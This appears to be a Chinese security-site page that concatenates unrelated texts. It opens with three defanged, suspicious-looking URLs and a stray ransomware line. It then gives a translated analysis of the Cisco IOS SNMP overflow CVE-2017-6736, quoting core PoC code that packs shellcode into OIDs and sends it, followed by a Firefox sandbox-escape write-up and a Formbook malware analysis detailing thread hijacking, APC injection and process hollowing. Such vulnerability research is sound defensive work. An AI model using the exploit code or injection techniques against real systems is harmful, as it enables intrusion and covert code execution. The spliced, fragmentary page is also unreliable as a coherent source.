hxxp://home.hopedaybook.com/?need=9f5b9ee&vid=dpec1&9337
hxxp://home.southerntransitions.net/?need=6ff4040&vid=dpec1&
hxxp://home.isdes.com/?need=6ff4040&vid=dpec2&
最近一两年针对企业攻击的勒索病毒越来越多,不断有新的变种以及勒索病毒新家族出现,真的是越来越多了，各企业一定要高度重视,黑产团伙一直在寻找新的攻击目标……
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/Y86Yc_VOTO9tTq6kzRsaPA) | 社区文章 |
# CVE-2017-6736 思科IOS系统远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 0x00漏洞背景
2017年6月29日，思科在安全更新中修复了在IOS和IOS
XE软件中SNMP子系统的9个严重远程代码执行漏洞(CVE-2017-6736—–CVE-2017-6744)。这些漏洞影响了多个Cisco
IOS和Cisco IOS
XE的主流版本。其中，CVE-2017-6736漏洞允许攻击者通过发送特定的SNMP数据包，使目标系统重新加载或执行代码。2018年1月，研究人员Artem
Kondratenko公开了CVE-2017-6736的PoC脚本代码，由于思科网络设备有极高的市场占有率，所以很多没有及时更新补丁或按照思科官方处置建议进行配置的网络设备，增大了被攻击者利用漏洞进行攻击的风险。
从官方给出的信息来看，这个漏洞与2016年影子经纪人披露的NSA武器库中Cisco
ASA设备SNMP远程代码执行漏洞（CVE-2016-6366）在受影响系统版本，利用条件限制等很多信息上颇为相似。出于探究两个漏洞原理和细节关系，并通过分析过程深入了解基于RISC指令集的IOT设备漏洞分析和调试方法的想法，本文从思科IOS处理SNMP请求数据包的过程入手，分析了漏洞产生的原因，并将分析过程和技术细节予以呈现。
## 0x01 漏洞简要介绍
#### 1. 漏洞原理
CVE-2017-6736从本质上来说，是一个缓冲区溢出漏洞。从漏洞利用的角度来讲，攻击者可以向系统发送精心构造的SNMP数据包来造成溢出，当漏洞利用成功时，攻击者即可在设备上执行shellcode。
#### 2. 漏洞影响范围
该漏洞可以影响此前所有Cisco IOS 和IOS XE软件的发行版，且影响所有的SNMP版本(1, 2c 和3)。具体发行版包括Cisco IOS
12.0版本至12.4版本、15.0版本至15.6版本和IOS XE 2.2版本至3.17版本。其中，运行SNMP
2c或更低版本的系统只有在攻击者知道系统SNMP只读社区（Readonly Community）字符串时才能成功利用，对于运行SNMP
v3的系统，攻击者必须拥有系统的用户访问凭据才能进行攻击。
另外，Cisco官方给出了脆弱MIB的配置列表，如下所示：
l ADSL-LINE-MIB
l ALPS-MIB
l CISCO-ADSL-DMT-LINE-MIB
l CISCO-BSTUN-MIB
l CISCO-MAC-AUTH-BYPASS-MIB
l CISCO-SLB-EXT-MIB
l CISCO-VOICE-DNIS-MIB
l CISCO-VOICE-NUMBER-EXPANSION-MIB
l TN3270E-RT-MIB
上述MIB在个别SNMP系统上会有缺失，但是当列表中的MIB存在于SNMP系统时，会默认启用。
#### 3. 利用条件限制
攻击者主机必须在设备的信任列表中才能向IOS发送SNMP数据包，可以通过IPv4或者IPv6发送SNMP数据包实现漏洞利用，但只有指向系统的流量才能利用漏洞。在运行SNMP
2c或更低版本的系统只有在攻击者知道系统SNMP只读社区（Readonly Community）字符串时才能成功利用，对于运行SNMP
v3的系统，攻击者必须拥有系统的用户访问凭据才能进行攻击。
## 0x02 漏洞分析
#### 1. 前期准备
由于没有真机作为调试环境，所以采用 IDA Pro + Qemu + Dynamips + GDB
stub作为调试环境。而目前Dynamips最新版本支持的Cisco
IOS镜像中，并没有c2800系列。经过模拟环境测试，PoC脚本用于c2600系列固件时可以触发漏洞造成溢出，所以我们选择c2600-bino3s3-mz.123-22.bin固件镜像作为调试和分析对象。
#### 2. PoC代码分析
该漏洞PoC代码由python编写。主要功能是构造特定格式的数据包，造成SNMP处理流程溢出。从PoC代码公开的信息来看，漏洞可在Cisco
Integrated Service Router 2811型号的设备上利用。固件和ROM支持型号如下：
最新固件型号
|
Cisco IOS Software, 2800 Software (C2800NM-ADVENTERPRISEK9-M), Version
15.1(4)M12a, RELEASE SOFTWARE (fc1)
---|---
ROM型号
|
System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)
核心代码如下：
alps_oid=’1.3.6.1.4.1.9.9.95.1.3.1.1.7.108.39.84.85.195.249.106.59.210.37.23.42.103.182.75.232.81{0}{1}{2}{3}{4}{5}{6}{7}.14.167.142.47.118.77.96.179.109.211.170.27.243.88.157.50{8}{9}.35.27.203.165.44.25.83.68.39.22.219.77.32.38.6.115{10}{11}.11.187.147.166.116.171.114.126.109.248.144.111.30′
for k, sh_dword in enumerate([sh_buf[i:i+4] for i in range(0, len(sh_buf),
4)]):
s0 = bin2oid(sh_dword) # shellcode dword
s1 = bin2oid(‘x00x00x00x00’)
s2 = bin2oid(‘xBFxC5xB7xDC’)
s3 = bin2oid(‘x00x00x00x00’)
s4 = bin2oid(‘x00x00x00x00’)
s5 = bin2oid(‘x00x00x00x00’)
s6 = bin2oid(‘x00x00x00x00’)
ra = bin2oid(‘xbfxc2x2fx60’) # return control flow jumping over 1 stack frame
s0_2 = bin2oid(shift(shellcode_start, k * 4))
ra_2 = bin2oid(‘xbfxc7x08x60’)
s0_3 = bin2oid(‘x00x00x00x00’)
ra_3 = bin2oid(‘xBFxC3x86xA0’)
payload = alps_oid.format(s0, s1, s2, s3, s4, s5, s6, ra, s0_2, ra_2, s0_3,
ra_3)
send(IP(dst=args.host)/UDP(sport=161,dport=161)/SNMP(community=args.community,PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)])))
其中payload为精心构造的SNMP数据包。这个数据包由3部分组成。前14个字节为OID =
1.3.6.1.4.1.9.9.95.1.3.1.1.7。这个OID代表alpsCktBaseNumActiveAscus，只读权限，可以返回当前配置状态下可连接ALPS电路的ASCU数量。OID后面的‘108’字段表示后面数据的字节数，但是‘108’后有109个字节。如此构造数据包的原因将在后面的代码分析给出解释。
我们可以看到，数据包中最为关键的两部分字段，为s0和ra。其中，s0为shellcode按照4字节大小拆分后发送给目标用来执行的指令，ra为栈帧溢出时构造的指令的执行地址。
#### 3. 捕获数据包
上图为实际调试代码过程中捕获的数据包。
#### 4. 漏洞代码静态分析
运行实验环境，并将IDA附加到远程进程，然后运行PoC代码，当第一个数据包发送完毕后，随即造成溢出。
此时查看系统堆栈，并尝试不同的断点进行调试，最后确定有漏洞的函数为sub_80f11864。
这个函数创建了v26这个局部变量，并在调用sub_80f09030时将其作为参数使用。
我们可以看到，sub_80f09030函数的具体功能为将参数a2作为原地址，将长度参数a3的数据经过一次运算后写入目的地址：参数result。
在这个copy过程中，copy长度受参数a3控制，而不是本地的局部变量，而目的地址则是上层函数的局部变量。由于PowerPC和Sparc架构在调用函数时，如果局部变量超过10个，则剩余的局部变量就储存在栈帧当中。在这种情况下，如果不对a3的值进行判断，则有可能因为数据操作长度过大而使上层函数的栈帧被破坏，从而造成缓冲区溢出。
#### 5. 动态调试
系统启动以后，会有接受数据包的进程处理snmp 请求，并根据community等属性派发给不同的例程。经过多次断点调试，确定当Community
为public且snmp get请求的OID为1.3.6.1.4.1.9.9.95.1.3.1.1.7时，系统会将数据包信派发给sub_80f0d860。
经过分析，sub_80f0d860函数的参数如下：
A1
|
数据包结构体，成员包括数据包的长度，指向数据包内容的指针
---|---
A2
|
指向OID长度的指针
A3
|
当community为public时，该参数为160
A4
|
判断应该是一个标志位
A5
|
应为数据包完整性的校验值，1
该函数的主要代码如下所示：
下图为PoC代码第一次发送数据包的内容：前14个字节是snmp协议的OID值，第15个字节是一个长度的字节数，这里是108，而后面的payload有109个字节。
Sub_80A3D2E0的行为是取出packet中下标为0xE的数据，也就是那个长度值108。而后面的if语句则表明，当packet中oid字段后面的数字不为payload长度减一时，函数会return
0 。也就是如果要继续packet的处置过程，oid字段后面的数字必须为后面payload的长度减1。
在调用sub_80A3C414进行校验时，上层函数的局部变量v33被赋值为packet的最后一个字节。然后代码会申请一段内存，并将数据包中的payload内容由原来的双字大小转为一个字节。
Sub_80A3CBFC函数本身有5个参数，A1是数据包结构体，A2是指向OID长度的指针， A3
是一个局部变量，用来返回申请buffer的地址，A4是160， A5
是一个校验值，当父函数第四个参数为160，即community为public时为0。这个函数的行为是申请一段内存，并逆序将payload复制到buffer当中，将payload内容由双子转换为一个字节。逆序复制代码如下图所示：
然后代码执行到sub_80F11864处。此处函数形成栈帧的代码显示函数的栈帧大小为0x30个字节。IR的值存放在栈帧下方的4个字节中：
局部变量v26的位置是栈顶指针向下8个字节。
正如此前静态分析中提到的，sub_80F09030的参数中，result为上层函数的局部变量v26，a2是buffer的首地址，a3是0x6c，也就是108。这个函数的功能是将buffer中108个字节的内容复制到result为首地址的内存区域中，而sub_80F11864的栈帧只有0x30
也就是48个字节（0x80DCC3F0——0x80DCC420）。同时result局部变量在栈帧当中的位置为esp+8，也就是0x80DCC3F8。连续向栈帧写入108个字节，必然造成溢出。
上图为执行完内存拷贝函数后栈帧的内容。可以看到堆栈已经被破坏。sub_80F11864执行完毕时，PC寄存器的值将会变成0XBFC22F60，进而执行相应地址的代码。而我们可以看到，shellcode并没有布局在PC指针指向的内存区域，而是位于sub_80F11864函数的堆栈中，且只有4个字节。出于堆栈不可执行的因素，这个数据包在待分析固件上触发漏洞，并导致进程崩溃，无法处理新的攻击数据包。
至此，漏洞触发的原因和过程分析完毕。
## 0x03 总结
通过分析我们得知，
CVE-2017-6736和CVE-2016-6366漏洞原理有一定的相似性，CVE-2016-6366具体可以参考我们以前的分析文章《揭开思科ASA防火墙网络军火的面纱（上）》，。两者漏洞触发的主要原因都是在内存拷贝过程中，由于上层函数局部变量控制拷贝长度而导致的栈溢出，而两者的不同之处在于内存布局的方法和执行shellcode前需要完成的跳转过程。
与CVE-2016-6366相似的是，CVE-2017-6736的代码逻辑中有对数据包长度的限制，会丢弃超过长度限制的UDP数据包，这使得在一次SNMP数据包请求过程中几乎不可能完成一次完整的shellcode执行。另外，该漏洞在不同版本固件上的利用，要根据固件的不同的内存分布对payload部分进行适配开发，以调整堆栈布局。
由于Cisco IOS系统软件主要应用于Cisco企业级的路由器和交换机中，很多大型网络基础设施都部署了相应Cisco
IOS版本网络设备，而这些设备都可能会受到该漏洞的影响。同时，此类设备固件因为线上更新复杂往往得不到第一时间的更新，且为了方便SNMP远程管理网络设备，通常不做host限制，community串也多为默认口令或简单弱密码而易遭受到暴力破解攻击，再加上网络专有设备调试环境复杂，且多采用基于RISC指令集的架构而非x86架构的原因，漏洞披露，甚至于作者公开PoC时国内相关研究机构也少有跟进。考虑到上述种种原因给该漏洞造成的影响，相关运维人员应当尽早更新设备固件修复漏洞，特别是在互联网边界上的设备，及时消除这一安全隐患。
## 参考资料：
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170629-snmp>
[https://www.anquanke.com/post/id/84614](../post/id/84614)
<http://www.freebuf.com/articles/system/114741.html> | 社区文章 |
# Firefox 沙盒逃逸 (CVE-2020-12388)
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2020/06/ff-sandbox-escape-cve-2020-12388.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在这篇[博客文章](https://www.anquanke.com/post/id/203790
"博客文章")中，讨论了Windows内核对受限令牌的处理问题，该问题使我能够逃逸Chrome
GPU沙箱。最初，我计划使用Firefox来演示POC，因为Firefox的内容渲染器使用与Chrome
GPU进程相同的沙箱级别。这意味着Firefox内容RCE可以在沙箱中执行代码，在沙箱中您可能会滥用Windows内核限制令牌问题，从而使问题更加严重。
但是，在研究沙盒逃逸时，我意识到Firefox也可能会有逃逸漏洞。即使Windows问题已修复，GPU级别沙箱在多个进程中的使用也引入了沙箱逃逸。这篇博客文章介绍了Chromium沙箱的具体行为以及Firefox为何易受攻击。我还将详细介绍我对Chromium沙箱所做的更改，以介绍一种缓解问题的方法，该方法已被Mozilla用来修复漏洞。
作为参考，P0的问题报告为[2016](https://bugs.chromium.org/p/project-zero/issues/detail?id=2016
"2016")，Firefox的问题报告为[1618911](https://bugzilla.mozilla.org/show_bug.cgi?id=1618911
"1618911")。Firefox定义了自己的[沙箱配置文件](https://wiki.mozilla.org/Security/Sandbox
"沙箱配置文件")。撰写这篇文章时，content sandbox(内容沙箱)被定义为level 5，因此我将继续介绍L5，而不是GPU沙箱。
## 根本原因
问题的根本原因在于，使用L5，一个内容进程可以打开另一个内容进程进行完全访问。
在Chromium的浏览器中，这通常不是问题，一次只能运行一个GPU进程，尽管可能同时运行着其他非Chromium进程，这些非Chromium进程也访问着GPU。Chromium中的内容渲染进程使用的沙箱受到的限制明显更大，它们不能打开任何其他进程。
L5沙箱使用受限令牌作为主要沙箱防御措施。一个内容进程可以访问另一个内容进程的原因取决于该进程的主令牌的默认DACL。对于内容进程，默认的DACL使用[RestrictedToken
::
GetRestrictedToken](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token.cc?l=65&rcl=f3935204227f849df0c15827e65d95348cf1c743
"RestrictedToken :: GetRestrictedToken")设置，以下用户将被授予完全访问权限：
User | Access
---|---
Current User | Full Access
NT AUTHORITY\SYSTEM | Full Access
NT AUTHORITY\RESTRICTED | Full Access
Logon SID | Read and Execute Access
默认DACL用于设置初始进程和线程安全描述符。
L5使用的令牌级别为[USER_LIMITED](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token_utils.cc?l=135&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64
"USER_LIMITED")，所有的组几乎都被禁用，但以下情况除外：
Current User
BUILTIN\Users
Everyone
NT AUTHORITY\INTERACTIVE
Logon SID
并添加以下受限制的SID：
BUILTIN\Users
Everyone
NT AUTHORITY\RESTRICTED
Logon SID
将当前用户组和RESTRICTED受限SID结合在一起，就可以授予对沙箱进程或线程的完全访问权限。
要了解为什么能够打开另一个内容进程是一个问题，我们必须了解Chromium沙箱如何启动一个新进程。由于将主令牌分配给新进程的方式，一旦进程启动，就无法再更改为其他令牌。在这里可以做一些事情，例如删除特权和降低完整性级别，但是无法删除组或添加新的受限SID。
一个新的沙盒进程需要进行一些初始化，这需要比受限沙盒需要更多的访问权限，因此Chromium使用了一个技巧。它为初始线程分配了一个更高特权的模拟令牌，以便初始化以更高的特权运行。对于L5，初始令牌的级别为[USER_RESTRICTED_SAME_ACCESS](https://cs.chromium.org/chromium/src/sandbox/win/src/restricted_token_utils.cc?l=85&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64
"USER_RESTRICTED_SAME_ACCESS")，它仅创建不是禁用组且所有普通组都添加了受限的SIDs。这使得令牌几乎等同于普通令牌，但是被认为是受限的。如果“主令牌”受到限制，但“模拟令牌”没有受到限制，则Windows将阻止设置令牌。
一旦完成所有初始化，就可以通过调用沙箱目标服务中的[LowerToken](https://cs.chromium.org/chromium/src/sandbox/win/src/target_services.cc?l=131&rcl=89183689bf398e20364fb78b0db4527e5b9ebb64
"LowerToken")函数来删除模拟令牌。这意味着有一个时间窗口，从新的沙盒进程开始到调用LowerToken时，该进程实际上在没有沙盒的情况下运行，除了具有低IL之外。如果您可以在删除模拟令牌之前劫持执行程序，则可以获得足够的特权，进行沙箱逃逸。
与Chrome GPU处理不同，Firefox在正常使用期间会创建新的内容进程。仅仅创建一个新的标签就可以产生一个新的进程。
因此，当在创建新进程的时候进行劫持，即可成功控制进程。另外，受到控制的渲染进程会通过IPC调用创建新进程。
有了这些知识，我使用了许多与以前的博客文章相同的技术来开发了完整的POC。
USER_RESTRICTED_SAME_ACCESS令牌的更高特权简化了漏洞利用。 例如，我们不再需要劫持COM
Server的线程，因为特权更高的令牌使我们可以直接打开进程。
另外，至关重要的是，我们永远不需要离开“受限沙箱”，因此该漏洞利用程序不必依赖于先前MS所修复的内核错误版本。
您可以找到问题附带的完整[POC](https://bugs.chromium.org/p/project-zero/issues/detail?id=2016 "POC")，并且我在下图中总结了步骤。
## 开发补丁程序
在我的报告中，我建议了针对此问题的补丁程序，请在沙箱策略中启用[SetLockdownDefaultDacl](https://cs.chromium.org/chromium/src/sandbox/win/src/sandbox_policy_base.cc?l=389&rcl=3cf5f883d04a46bc0a54c20f238843feea1792e0
"SetLockdownDefaultDacl")选项。
SetLockdownDefaultDacl从默认DACL中同时删除了RESTRICTED和登录SID，这将阻止一个L5进程打开另一个进程。我已经添加了此沙箱策略功能，以响应我在上一个博客中提到的[GPU沙箱逃逸](https://bugs.chromium.org/p/chromium/issues/detail?id=595834
"GPU沙箱逃逸")，这是Pwn2Own的lokihardt使用的。但是，其目的是阻止GPU进程打开渲染器进程，而不是阻止一个GPU进程打开另一个GPU进程。因此，该策略未在GPU沙箱上设置，而仅在渲染器上设置。
事实证明，我不是第一个报告一个Firefox内容处理程序打开另一个进程的人。 [Niklas
Baumstark](https://twitter.com/_niklasb "Niklas
Baumstark")在我报告前一年就已经报告过。我建议的修复SetLockdownDefaultDacl的功能已在修复Niklas的问题报告中进行了尝试，它破坏了包括DirectWrite缓存和音频播放在内的各种功能，会导致显著的性能下降，这会导致使用SetLockdownDefaultDacl成为不可取的事情。上述提到的，诸如DirectWrite高速缓存中断的原因是由于Windows
RPC服务中的编码模式导致的，如下所示：
int RpcCall(handle_t handle, LPCWSTR some_value) {
DWORD pid;
I_RpcBindingInqLocalClientPID(handle, &pid);
RpcImpersonateClient(handle);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, nullptr, pid);
if (!process)
return ERROR_ACCESS_DENIED;
...
}
此示例代码在特权服务中运行，并且由沙盒应用程序通过RPC调用。它首先调用RPC运行时以查询调用者的进程ID。然后，它模拟了调用者并尝试打开调用过程的句柄。如果打开过程失败，则RPC调用将返回拒绝访问错误。
对于正常的应用程序，一个完全合理的假设是调用者可以访问自己的进程。但是，一旦锁定了进程安全级别，情况就不再如此。如果我们要禁止访问同一级别的其他进程，那么结果就是我们也禁止打开自己的进程。通常，这不会导致什么问题，因为流程中的大多数代码都使用“当前进程的”伪句柄，该句柄从未进行访问检查。
Niklas的[报告](https://bugzilla.mozilla.org/show_bug.cgi?id=1554110
"报告")并未包含完整的沙箱逃逸功能。缺少完整的POC加上修复它的困难导致修复停滞。但是，如果使用完整的沙箱逃逸来演示问题的影响，则Mozilla必须在性能或安全性之间进行选择，除非可以采用其他补丁程序。
该补丁程序必须做两件事：
授予进程对其自己的进程和线程的访问权限。
拒绝同一级别的任何其他进程。
没有任何管理员权限，我们无法使用许多东西，例如[内核进程回调](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
"内核进程回调")。该补丁程序必须在普通用户权限的用户模式下运行。
修复漏洞的关键，在于受限制的SIDs列表要包括的SIDs是不在令牌中。我们可以为每个沙盒生成一个随机的SID进程，将其作为受限SID并添加到默认DACL中。然后，我们可以使用SetLockdownDefaultDacl锁定默认DACL。
当打开进程时，访问检查将与当前用户的SID相匹配，以进行常规检查，而随机SID与受限SID检查相匹配。但是，每个内容进程将具有不同的随机SID，因此尽管正常检查仍将通过，但访问检查无法成功通过受限SID的检查。这达成了我们的目标。您可以在[PolicyBase
::
MakeTokens](https://cs.chromium.org/chromium/src/sandbox/win/src/sandbox_policy_base.cc?l=418&rcl=11c92d48f99d8d5c1bf08a09655125f096e5900a
"PolicyBase :: MakeTokens")中查看实现方式。
我将补丁添加到Chromium代码仓库中，Firefox能够对其进行合并和测试。它起到了阻止攻击的作用，并且似乎没有引入以前的性能问题。
该修补程序的另一个问题是确保系统上所有其他进程的安全，这些进程必须采用缓解措施来进行防御，包括所有Chromium浏览器以及Chromium的用户（例如Electron）。例如，如果未更新Chrome，则Firefox内容进程可能会关闭Chrome的GPU进程，这将导致Chrome重新启动它，而firefox进程可能会通过劫持新的GPU进程而通过Chrome逃逸。这就是为什么即使不是直接受到攻击，我还是启用了Chromium
GPU进程的缓解措施，该进程已在2020年4月底发布的M83（和Microsoft Edge 83）中提供。
最后，此博客文章演示了Firefox中的沙箱逃逸，同时也需要向Chromium沙箱添加新的防护功能。与以前的博客文章相比，无需更改Windows代码。 | 社区文章 |
# 深入分析恶意软件Formbook：混淆和进程注入（下）
|
##### 译文声明
本文是翻译文章，文章原作者 RÉMI JULLIAN，文章来源：thisissecurity.stormshield.com
原文地址：<https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/>
译文仅供参考，具体内容表达以及含义原文为准。
传送门：[深入分析恶意软件Formbook：混淆和进程注入（上）](https://www.anquanke.com/post/id/103403)
Formbook是用C语言和x86汇编语言编写的窗体捕获和窃取的恶意软件。这是一个已经准备售卖的恶意软件，可以被任何不具备恶意软件开发技能的犯罪分子所使用。在通过邮件分发Formbook样本的期间，我们捕获到一个Word文档样本，并作为本文的分析样本。我们使用了基于云的沙盒引擎Breach
Fighter（ <https://www.stormshield.com/products/breach-fighter/>
）对该样本进行了捕获，并且使用该引擎对样本文件进行了分析。在上篇文章中，我们重点分析了该恶意软件的动态函数加载过程，以及其具有的反调试、反分析技巧。在下篇中，我们对该恶意软件如何进行进程注入展开详细的分析。
## 三、进程注入
在本章中，我们将重点关注Formbook是如何执行其进程注入过程，以便在属于Microsoft的进程中进行迁移。为了简化这一问题，我们假定Formbook是在32位版本的Windows上运行。如前文所说，Formbook可以从运行在WOW64模式下的32位进程迁移到本地64位进程，但这也意味着需要修改.text段中的很多地方。我们此前分析的窗体捕获恶意软件（
<https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabber-malware-targeting-browsers/>
）使用了一个常用的方法，该软件使用WriteProcessMemory()和CreateRemoteThread()来注入目标进程。而在这里，Formbook使用了另一种不太常见的方法，可以归纳为3个阶段：
1、Explorer主线程劫持和APC注入；
2、Explorer劫持的线程或注入的APC创建一个挂起的进程；
3、在新创建的挂起态进程中实现迁移（借助进程镂空Process Hollowing技术）。
这种方法的主要优点在于，在Explorer的进程中没有创建新的线程，并且新创建的挂起态进程的父进程是Explorer。
### 3.1 劫持Explorer主线程
#### 3.1.1 调整进程权限
Formbook会对Explorer的进程执行一些操作，例如映射进程地址空间内的代码段，或挂起/恢复其主线程。由于Explorer进程使用与当前登录用户相同的用户账户运行，所以Formbook不需要额外的权限就能够执行类似调试的操作。事实上，如果对非系统进程进行调试，是没有必要授予或启用SeDebugPrivilege的。然而，恶意软件作者好像没有意识到这一点，为了启用SeDebugPrivilege，Formbook更新了其权限。为此，它使用NtOpenProcessToken()获取自己进程的句柄，然后使用ConvertSidToSidW()和NtAdjustTokenPrivileges()函数。恶意软件不会检查其权限是否已经成功更新，无论如何都会继续执行。
### 3.1.2 在Formbook的地址空间内映射修补后的Image Base
Formbook按照以下步骤，将其运行进程的副本映射到其自身的地址空间中：
1、使用NtCreateSection()创建一个新节，其大小为Formbook的SizeOfCode + SizeOfHeaders；
2、使用NtMapViewOfSection()在地址空间内映射此节；
3、将Formbook基地址的标题复制到新映射部分（SizeOfHeaders字节）；
4、将Formbook基地址+ SizeOfHeaders中的代码复制到新映射部分（SizeOfCode字节）。
作为一种反取证技术，新映射部分的头部会被随机32位整数的SHA-1值覆盖。因此，Formbook的PE头部不会在镂空过程的地址空间中出现，也不会在这些进程中映射。然而，在一个我们称之为get_base_address_from_text()的函数中出现了一些问题，该函数尝试在内存中找到字符串“This
program cannot”以及MZ头部，以此来检索Formbook的基地址。
因此，我们可以通过修补来自get_base_address_from_text()函数的指令来保存随机值，以便通过在内存中搜索预期SHA-1值得方法来查找PE基地址。要将这些修补内容应用在get_base_address_from_text()函数上，我们就要使用“Egg
Hunting”技术在整个映射部分上执行循环，从而找到字节序列“40 41 49 48 B8 88”：
在修补之前，我们可以从函数get_base_address_from_text()中找到如下指令：
.text:00417D91 40 inc eax
.text:00417D92 41 inc ecx
.text:00417D93 49 dec ecx
.text:00417D94 48 dec eax
.text:00417D95 B8 88 88 88 88 mov eax, 888888888 ; patched immediate value
..
.text:00417DA1 89 45 FC mov [ebp+patched_imm], eax
..
;; if eax equals 0x88888888 (not patched) search for 'This program cannot'
;; otherwise use eax to computes its SHA-1 and search for this value
.text:00417DA9 81 7D FC 88 88+ cmp [ebp+patched_imm], 88888888h;
..
.text:00417DB2 74 4B jz short loc_417DFF
由于Hex-Rays反编译器无法猜测将要被修补的字节码，因此它会将cmp指令评估为True，因此不会预测错误分支：
### 3.1.3 找到explorer.exe的PID和主线程ID
在修补完成后，Formbook尝试使用与检查运行进程是否匹配黑名单相同的方法，来查找explorer的PID和主线程ID。该过程会使用SystemProcessInformation类的NtQuerySystemInformation()函数，遍历每个SYSTEM_PROCESS_INFORMATION条目，计算进程映像名称的哈希值，直到找到与“explorer.exe”相关的哈希值。
### 3.1.4 劫持explorer.exe的主线程和APC注入
在检索explorer.exe的PID之后，Formbook将会检索该进程的一个句柄，这一过程用到了NtOpenProcess()函数并会进行如下所需的访问：
PROCESS_VM_OPERATION
PROCESS_VM_READ
PROCESS_VM_WRITE
PROCESS_QUERY_INFORMATION
随后，它就可以在explorer.exe地址空间内映射修补后的代码部分。这个新映射部分将用于在Explorer的主线程中执行Formbook代码，以及在Formbook和explorer进程之间提供一个共享的缓冲区。
使用NtOpenThread()可以获得explorer主线程的句柄，在这里需要以下访问权限：
THREAD_SUSPEND_RESUME
THREAD_GET_CONTEXT
THREAD_SET_CONTEXT
至此，Formbook可以使用NtSuspendThread()挂起explorer.exe的主线程，并使用NtGetContextThread()在CONTEXT结构中检索它的指令指针。
然后，另一个补丁会应用在explorer执行的Formbook代码段之中。未修补的指令如下所示：
.text:00041C17 68 88 88 88 88 push 88888888h ; patched with CONTEXT.Eip
.text:00041C1C 60 pusha
.text:00041C1D E8 1E 03 00 00 call formbook_main_explorer32_hijacked
.text:00041C22 61 popa
.text:00041C23 C3 retn ; end of the shellcode execution, return to CONTEXT.Eip
该修补内容中包括用前面从CONTEXT结构中提取的Eip字段替换立即值（Immediate
Value）0x88888888。这是用于保存explorer.exe指令的指针，以便在Formbook代码执行结束时对其进行恢复。正如我们所见，对formbook_main_explorer32_hijacked()的调用被pusha和popa指令所包围，这样一来当explorer的进程检索其寄存器值时，就不会发现其线程已经被劫持。
通过添加到explorer.exe并在其进程地址空间中搜索这段代码，我们可以发现修补内容如下：
在应用修补内容之后，会调用NtSetContextThread()以更新Explorer的主线程指令指针，目前该指针已经被我们控制，指向了Explorer中的Formbook代码。此时，线程仍处于挂起状态。然后，在调用formbook_main_explorer32_hijacked()之前，通过调用NtQueueApcThread()来注入APC，并将到用户APC例程的入口点指向pusha指令。这个过程是非常完美的，因为同一段代码被两个上下文调用，一个来自于劫持的线程，另一个来自注入的APC例程。
最后，执行对NtResumeThread()的调用。
在恢复被劫持的Explorer的主线程之前，内核首先会弹出并执行线程APC队列中的每一个APC。最后将执行被劫持的Explorer主线程，并对formbook_main_explorer32_hijacked()进行第二次调用。
### 3.2 创建挂起进程
在该过程中，由Explorer劫持的线程或注入的APC会创建一个挂起的进程。
与Formbook进程的地址空间不同，被劫持的Explorer线程不会映射ntdll的副本，也不具备任何反调试的技巧。关于检索ntdll.dll的完整路径，请参考上篇文章中所描述的方法（参见2.5.1
检索原始ntdll的完整路径），并将其用作“System32”或“SysWOW64”的源代码目录，从一份有39个条目的列表中随机选择并打开Windows可执行文件。
Windows可执行文件列表存储在加密缓冲区中，其RC4密钥是从后续16字节缓冲区（00 00 01 01 00 00 01 00 01 00 01 00
00 00 00 00）的SHA-1值中派生的：
正如FireEye所解释的那样，该缓冲区实际上与放入16字节数组后的反分析检查结果相同，该数组用于决定Formbook进程是否应该继续执行。
在解密一个加密缓冲区后，我们可以看到39个Windows可执行文件（偏移量为3到41）的列表，Formbook可以借助这些可执行文件对其自身进行迁移：
3 svchost.exe
4 msiexec.exe
..
40 wuapp.exe
41 cmd.exe
用于执行进程镂空的Windows可执行文件的完整列表可以在这里获得：<https://github.com/ThisIsSecurity/malware/blob/master/formbook/decrypted_image_name.txt>
。
被选中的可执行Image
Base随后会调用由kernel32.dll导出的未记录函数CreateProcessInternalW()来创建挂起的进程。特别值得注意的是，这个函数在尝试动态加载之前，会使用简单的减法操作来修改相关解密哈希（0xad0121e0）：
>> hex(Crc32Bzip2.calc(bytearray("CreateProcessInternalW".lower())))
0xad0121ab
>>> 0xad0121e0-0xad0121ab
53
下列与新创建进程相关的信息会复制到Explorer和Formbook进程共享的内存区域中：
1、该进程Image Base完整路径；
2、该进程映像基址；
3、该进程的PROCESS_INFORMATION结构；
4、该进程的STARTUPINFO结构。
这一共享内存区域和映射到Explorer的Formbook映像包含在同一节中。因此，在Formbook的进程地址空间中，他们具有和NtMapViewOfSection()相同的视图基地址，所以也就具有相同的页保护（PAGE_EXECUTE_READWRITE）。
现在，注入的APC和被劫持的线程都已经完成了它们的工作。请注意，如果APC在Explorer中正常执行，就会在共享缓冲区中设置一个标志，劫持的线程将会检测这一标志是否存在，以避免创建第二个挂起的进程。因此，如果APC总是成功执行，我们就可以认为劫持Explorer的主线程是没有必要的。
### 3.3 迁移到新的挂起进程
在调用NtResumeThread()之后，Formbook需要等待挂起进程被创建。因此，将使用NtDelayExecution()进行Sleep，然后尝试从共享内存区域读取由Explorer注入的APC或Explorer劫持的线程填充的信息。
如果新创建的进程的PID、主线程ID、Image Base完整路径和基地址全部被成功读取，并且读取的值非空，那么Formbook就能够继续执行进程镂空步骤。
借助NtOpenProcess()和NtOpenThread()，可以检索到目标进程和目标线程的句柄。基于检索到的Image
Base完整路径，Formbook会从磁盘Image Base映射PE文件的原始副本。继而，它就能够解析PE头部，并提取挂起进程的入口点地址。
现在，Formbook会将其自身映射到这个进程中，例如之前在Explorer的地址空间中对其自身进行映射。然后，它会覆盖暂停进程入口点的第一条指令，以便对调用formbook_main_migrated()的函数执行调用。该修补程序是利用基于栈的操作构建的，如下所示：
